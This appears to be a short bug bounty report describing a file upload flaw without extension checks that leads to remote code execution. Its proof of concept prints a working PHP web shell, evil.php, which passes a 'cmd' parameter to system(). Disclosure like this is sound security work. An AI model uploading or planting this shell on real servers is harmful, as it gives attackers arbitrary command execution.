File Upload Bypass Leads to Remote Code Execution (RCE)

2023-03-0908:52:18

choocs

www.huntr.dev

file upload

server security

rce

command execution

bug bounty

EPSS

0.001

Percentile

37.1%

JSON

Description

There is no extension checks during file upload. Attacker may upload file to execute malicious code in the server.

Proof of Concept

Step 1: Create a file with the content below and save it as evil.php

&lt;html&gt;
&lt;body&gt;
&lt;form method="GET" name="&lt;?php echo basename($_SERVER['PHP_SELF']); ?&gt;"&gt;
&lt;input type="TEXT" name="cmd" autofocus id="cmd" size="80"&gt;
&lt;input type="SUBMIT" value="Execute"&gt;
&lt;/form&gt;
<pre>
&lt;?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?&gt;
</pre>
&lt;/body&gt;
&lt;/html&gt;